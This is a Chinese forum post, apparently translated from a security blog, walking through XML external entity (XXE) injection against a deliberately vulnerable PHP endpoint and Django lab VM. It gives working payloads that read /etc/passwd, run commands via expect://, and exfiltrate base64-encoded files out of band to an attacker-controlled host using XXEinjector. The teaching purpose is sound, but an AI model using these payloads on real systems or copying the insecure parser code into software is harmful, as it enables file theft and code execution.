用户
搜索

该用户从未签到

版主

推荐组组员(最帅的那个)

Rank: 7Rank: 7Rank: 7

35

主题

48

帖子

385

魔法币
收听
0
粉丝
1
注册时间
2018-4-12

i春秋推荐小组

Arizona 版主 推荐组组员(最帅的那个) i春秋推荐小组 楼主
发表于 2018-8-21 11:08:40 35193
本帖最后由 Arizona 于 2018-8-21 03:10 编辑

漏洞利用: XML外部实体(XXE)注入

在我们的评估过程中,我们有时会遇到一个漏洞,允许我们执行XML外部实体(XXE)注入攻击。XXE注入是一种针对应用解析XLM输入时的攻击。虽然与其他Web应用程序攻击媒介相比,如跨站请求伪造(CSRF),这是一个相对深奥的漏洞,但是当它存在时,我们可以充分地利用这个漏洞。该漏洞可能导致提取敏感数据,甚至在某些情况下远程代码执行(RCE)。我们会设置一个存在该漏洞的简单PHP服务,先手工完成漏洞利用,接着再使用一个名为XXEInjector的工具,来自动化该攻击。

我们还将通过Burp来发现漏洞。我们会使用几个练手的方式。第一个是简单的PHP服务,另一个是虚拟机,运行存在该漏洞的Django Web应用程序.

建立

在详细了解此攻击之前,了解Web应用程序和XML文档交互过程中为何会导致此类攻击媒介的出现可能会有所帮助。我们已经设置了一个虚拟机,其中包含一个简单的PHP服务器,该服务器利用XML文档来验证凭据。

这个虚拟机,是我们第一个练手的地方。Ubuntu14.04.5和运行于Apache上的PHP5。我们使用以下脚本来设置解析XML输入的PHP端点,在此之前先安装php-xml模块(并在安装后重新启动Apache服务器)。

<?php 
    libxml_disable_entity_loader (false); 
    $xmlfile = file_get_contents('php://input'); 
    $dom = new DOMDocument(); 
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom); 
    $user = $creds->user; 
    $pass = $creds->pass; 
    echo "You have logged in as user $user";
?> 

当向xml_injectable.php发送请求时,将运行上面的脚本。

<creds> 
    <user> Ed </ user> 
    <pass> mypass </ pass> 
</ creds>

上面的四行时前面提法哦的PHP端点的输入,它们存储在一个名为xml.txt的XML文件中。通过CURL,post该文件数据:

curl -d @xml.txt http://localhost / xml _ injectable .

服务器会响应:
You have logged in as user Ed

概念验证

解析XML输入文件最有趣的方面是它们可以包含指向服务器自身文件的代码。这是外部实体的一个例子。后面,我们会讨论外部实体的全部范围,包括通过FTP和HTTP在Web上托管的文件。

修改xml.txt文件

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

注意第三行的小写单词和第五行中间部分。上面这段数据使用POST提交后,受害者服务器将使用自己的/etc/passwd进行响应:

You have logged in as user root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

再次说明,我们提供的XML输入文件(xml.txt)包含告诉服务器查找外部实体的代码,file:///etc/passwd,然后把内容注入到user字段。最后,PHP脚本的最后一行回显内容。

远程代码执行

如果运气好,PHP的"expect"模块已经加载,我们就可以让它执行远程代码。将payload改为:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

服务器的响应如下:

You have logged in as user uid=0(root) gid=0(root) groups=0(root)

通过XXE可以实现RCE的实例很少,所以我们切换到另一个更常见的场景:使用工具自动化提取数据。

使用Burp和XXEinjection自动进行XXE注射[2]

切换到第二个场景[1]以便更好地理解。这是一个运行Django Web应用程序的TurnKey Linux虚拟机,该应用程序很容易受到XXE注射攻击。在现实世界的测试场景中,我们最有可能使用工具而不是手动利用漏洞,所以让我们使用我最喜欢的Web应用程序评估工具之一:Burp

  1. 设置VM
    只需要提取并运行VM的配置文件(.vmx)即可。下载中包含一个readme文件,可以帮助你设置专用网络。
  2. 设置Burp
    Burp充当计算机和目标计算机之间的代理。它可以检查、修改和扫描应用程序级别的请求和响应。Burp Pro的scanner很牛逼。
  3. 扫描易受攻击的表单
    VM服务器在/static/mailingList.html上提供了易受攻击的表单。将表格提交到/blog/newRegistration。输入一些无效值并且出发Burp扫描。不需要扫描表单;我们只需要一个XXEinjector的样本请求。
    Burp会触发一个XXE漏洞,并且会得到一些响应的XSS。当我们检查XXE漏洞时,我们会收到这个Advisory

    figure_1.png

事实上,Burp Pro的Burp Collaborator已经足够使用了,这是个外部服务,用来帮助发现漏洞或利用目标。基本上,Burp发送给存在漏洞的应用程序Collaboratore请求旨在通过DNS解析和web请求来调用Burp Collaborator。如果成功,会通知Burp目标计算机已执行恶意的payload。通过检查或计时响应可以发现大多数漏洞,但有时候,使用像Burp Collaborator这样的外部服务,可以将事情提升到一个新的水平。在本例中,Burp自身拉取了/etc/passwd,但它也使用Burp Collaborator来向我们证明应用程序已经到达外部服务器来拉取字符串。

xxe_figure_2.png

以下图片展示了Burp如何使用Collaborator。

xxe_figure_3.png

xxe_figure_4.png
xxe_figure_5.png

为了更好地控制XXE注射过程,我们使用XXEinjector。我们需要不受干扰的请求版本。保存至名为request.txt的文件中

xxe_figure_6.png

xxe_figure_7.png

XXEinjector如何工作?

与Burp(不包括Collaborator)相比,XXEinjector的运行方式略有不同。在手动输入方法(概念验证部分)以及Burp方法中,我们依赖于服务器最终以某种方式回显注入的实体这一事实。我们并不总是能碰到存在漏洞的web应用程序。为了利用不回显结果的应用程序,我们需要用到XXEinjector使用的带外技术(out-of-band techniques)。Burp Collaborator和XXEinjector类似,都使用了带外技术。

此技术要求应用程序可以连接到攻击者的站点,这意味着发生外部攻击时,出口过滤会发生作用。XXEinjector可以枚举出口端口,这是个很好的功能,有助于更好地使用这个工具。值得注意的是,XXEinjector功能也是有限的,因为攻击比发送一个请求更复杂。在这里不会经历出口破坏过程,因为它只是一个标记,可以把它传递给XXEinjector(--enumports)。

XXEinjector 方法论

1)发送恶意请求,告知远程服务器回调,请求名为file.dtd的payload文件。在同一个请求种,我们调用另外两个实体,只有在file.dtd文件成功到达目标机器并且被正确解释的情况下,它们才会被执行。这是XXEinjector很受限的一个重要原因。比如,为了能够在我们的PHP服务器上工作,我们需要一点一点地再审查,我们要提供一个flag给XXEinjector,以便使用base64去编码payload。Base64使用了一个受限的字符集,在执行exp的过程种不会触发解释器(如引号)。并且它需要额外的解码,才能被WAF/IDS/IPS获取拦截。这有助于更有力、静默地完成这项工作。请求看起来是这样的。

POST /xml_injectable.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 158
Host: 192.168.242.139
Content-Type: application/x-www-form-urlencoded

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.240.1:80/file.dtd">%remote;%int;%trick;]>

<creds>
    <user>blah</user>
    <pass>mypass</pass>
</creds>

其中定义了三个实体,"remote","int","trick"。在这个请求中只定义了remote,当XXEinjector正在运行时,会从攻击者机器上获取一个URL。当XXEinjector发出这个请求时,它会在80端口(可以更改)上启动一个服务,等待提供file.dtd。目标机器开始解析请求。并用"remote"去替换file.dtd文件(当连接上攻击者机器并获取该文件时)。File.dtd文件是这样的(这是整个文件):

<!ENTITY % payl SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM
'http://192.168.240.1:80/?p=%payl;'>">

攻击字符串不必要在多行上,因为会被所见即所得编辑器(WYSIWYG editor)破坏。

2)注意我们如何定义一个新的实体"payl",它是我们试图提取的文件的URL。然后定义两个实体,"int"和"trick"。注意,"trick"是在"int"中定义的。并且,该payload未编码。由于一个实体中嵌入另一个实体,一些字符会被编码,但是请求本身不是base64编码的。

3)现在我们已经定义好了所有实体,开始happy了。注意在"trick"中,我们如何用/etc/passwd的内容替换payl的内容。这意味着受害服务器所要做的就是回调home,而XXEinjector在运行状态中,会将/etc/passwd的内容作为参数传递给该URL。应用程序不需要在易受攻击的应用程序/页面中响应回显/etc/passwd的内容。它只需用该参数的内容去回调home。XXEinjector会解析参数并保存到文件中。结束。

实际例子

这个理论很OK,但是实际使用起来可能还是会碰到一些问题。回到第一part,一个简单的运行着xml_injectable.php脚本的PHP服务器。我们会使用这个环境,而不是Django,这样可以更好地控制什么会被回显出来。第二个例子也很有意思,从一个在线的虚拟机中提取一个fire-and-forget server,然后针对它运行burp。从技术角度,我们可以修改Django代码,但是修改小的PHP脚本更简单。另外,在更小的PHP环境中,Burp也可以针对该漏洞利用。

让我们修改脚本,注释掉不想关的代码和回显的代码。

<?php 
    libxml_disable_entity_loader (false); 
    $xmlfile = file_get_contents('php://input'); 
    $dom = new DOMDocument(); 
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    // $creds = simplexml_import_dom($dom); 
    // $user = $creds->user; 
    // $pass = $creds->pass; 
    // echo "You have logged in as user $user";
?> 

所以,我们在PHP脚本中所做的就是将XML格式的请求直接加载到PHP对象中。我们正在将XML文档/字符床解析成PHP对象。

开始一个XXEinjector请求:

> sudo ruby XXEinjector.rb --host=192.168.240.1 --path=/etc/passwd 
--file=phprequest.txt --proxy=192.168.240.1:8080 --oob=http --verbose

Flags:

--host:这个是我们机器的IP。XXEinjector需要知道这个IP,为了制造受害者机器的请求,并抓住file.dtd。

--path:要“偷”的文件路径。

--file:这包含了一个不受干扰的PHP请求,除了使用“XXEINJECT”标记的希望XXEinjector开始注入的位置。XXEINJECT下的任何东西都只是我们之前实验留下的东西,在这里相对没有意义。phprequest.txt的内容如下:

POST /xml_injectable.php HTTP/1.1
Host: 192.168.242.139
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
XXEINJECT
<creds>
<user>blah</user>
<pass>mypass</pass>
</creds>

--proxy:可选项。只是通过Burp代理请求,看看数据包是什么样子。或者使用--verse查看XXEinjector发出的确切请求以及file.dtd是什么样子。

--oob:带外标志。告诉XXEinjector利用file.dtd请求中的http协议,在无意中将受害者机器中的/etc/passwd文件回传。这是必须使用的标志之一,因为它取决于你的利用环境。有时候,某些协议会不可用或被关闭。这时就可以使用--oob,--ftpport,--httpport等等。

在发出这个请求后,我们从xxeinver获得以下输出,说明失败了。

XXEinjector by Jakub PałaczyńskiDTD injected.
Enumeration locked.
Sending request with malicious XML:
http://192.168.242.139/xml_injectable.php 
{"User-Agent"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept"=>"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language"=>"en-US,en;q=0.5", "Accept-Encoding"=>"gzip, deflate", "Connection"=>"close", "Upgrade-Insecure-Requests"=>"1", "Content-Length"=>"158"}

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM 
"http://192.168.240.1:80/file.dtd">%remote;%int;%trick;]>
<creds>
    <user>blah</user>
    <pass>mypass</pass>
</creds>
Got request for XML:
GET /file.dtd HTTP/1.0
Responding with XML for: /etc/passwd
XML payload sent:
<!ENTITY % payl SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM
'http://192.168.240.1:80/?p=%payl;'>"> 

FTP/HTTP did not get response. XML parser cannot parse provided file or the application is not responsive. Wait or Next? W/n

由于使用了详细标志,我们可以看到XXEinjector正在干什么。也可以看到受害者机器回应/file.dtd的回调。但是最后并没有把东西传回来。什么鬼?

在检查Apache的错误日志后,注意到在获取文件时,loadXML方法没有正常运行。

[Sun Nov 06 09:10:46.145222 2016] [:error] [pid 1222] [client 192.168.242.1:64701] PHP Notice:  DOMDocument::loadXML(): PEReference: %int; not found in Entity, line: 1 in /var/www/html/xml_injectable.php on line 16
[Sun Nov 06 09:10:46.145257 2016] [:error] [pid 1222] [client 192.168.242.1:64701] PHP Notice:  DOMDocument::loadXML(): PEReference: %trick; not found in Entity, line: 1 in /var/www/html/xml_injectable.php on line 16

在对XML和loadXML的语义进行研究之后,发现指定资源文件(/etc/passwd)存在编码问题。还好,XXEinjector有一个标记来编码该行,并且是专门为PHP制作的。将--phpfilter添加到请求中。

> sudo ruby XXEinjector.rb --host=192.168.240.1 --path=/etc/passwd --file=phprequest.txt --proxy=192.168.240.1:8080 --oob=http --verbose --phpfilter

执行命令会有以下结果:

XXEinjector by Jakub PałaczyńskiDTD injected.
Enumeration locked.
Sending request with malicious XML:
http://192.168.242.139/xml_injectable.php 
{"User-Agent"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept"=>"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language"=>"en-US,en;q=0.5", "Accept-Encoding"=>"gzip, deflate", "Connection"=>"close", "Upgrade-Insecure-Requests"=>"1", "Content-Length"=>"158"}

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM"http://192.168.240.1:80/file.dtd">%remote;%int;%trick;]>

<creds>
    <user>blah</user>
    <pass>mypass</pass>
</creds>

Got request for XML:
GET /file.dtd HTTP/1.0
Responding with XML for: /etc/passwd
XML payload sent:
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM
'http://192.168.240.1:80/?p=%payl;'>">
Response with file/directory content received:
GET /?p=cm9vdDp4OjA6M(rest of base64 encoded string) HTTP/1.0

Enumeration unlocked.
Successfully logged file: /etc/passwd
Nothing else to do. Exiting.

在XXEinjector目录中检查日志,注意到/<target_ip>/etc/passwd.log已经有了。

任务成功结束。

References:

[1] Vulnerable Django VM

https://drive.google.com/file/d/0B0lXZ1OX4ZS-aUdoRUVQSDg3eG8/view

[2] XXEinjector

https://github.com/enjoiz/XXEinjector

[3] Vulnerable PHP Script

http://colesec.inventedtheinternet.com/attacking-xml-with-xml-external-entity-injection-xxe/

作者:Faisal Tameesh
翻译:i春秋翻译小组-北风乱
翻译来源:https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection

发表于 2018-8-21 16:14:15
大佬,有点高端,萌新看的一脸懵逼……
本屌技术渣,Q1322856336,欢迎各位表哥们指点交流~
使用道具 举报 回复
发表于 2018-8-22 10:36:57
666666666666666666
路漫漫,
使用道具 举报 回复
支持一下~
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册